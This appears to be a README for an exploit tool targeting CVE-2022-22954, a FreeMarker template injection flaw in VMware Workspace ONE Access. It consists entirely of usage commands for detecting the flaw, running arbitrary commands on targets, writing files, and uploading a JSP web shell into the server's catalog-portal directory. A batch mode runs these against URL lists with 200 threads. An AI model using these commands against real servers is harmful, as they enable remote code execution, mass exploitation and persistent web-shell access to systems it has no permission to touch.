
CVE-2022-22954 VMware Workspace ONE Access freemarker SSTI 漏洞 命令执行、批量检测脚本、文件写入
Multi-vulnerability trigger point detection, multi-threaded batch detection, command execution, file writing
// Single target vulnerability detection
python CVE-2022-22954.py -u https://x.x.x.x
// Command execution
python CVE-2022-22954.py -u https://x.x.x.x -c "id"
// Write file
python CVE-2022-22954.py -u https://x.x.x.x -fn test.jsp -fc "test"
// Upload file, on Windows set filename need to specify path
python CVE-2022-22954.py -u https://x.x.x.x -fn test.jsp -fp "D:\Desktop\shell.jsp"
// Upload to specified path
python CVE-2022-22954.py -u https://x.x.x.x -fn "/opt/vmware/horizon/workspace/webapps/catalog-portal/test.jsp" -fp "D:\Desktop\shell.jsp"
// Batch detection, usage is the same
python CVE-2022-22954.py -f url.txt
python CVE-2022-22954.py -f url.txt -c "id" -t 200
python CVE-2022-22954.py -f url.txt -fn test.jsp -fc "test" -t 200
python CVE-2022-22954.py -f url.txt -fn test.jsp -fp "D:\Desktop\shell.jsp" -t 200
python CVE-2022-22954.py -f url.txt -fn "/opt/vmware/horizon/workspace/webapps/catalog-portal/test.jsp" -fp "D:\Desktop\shell.jsp" -t 200
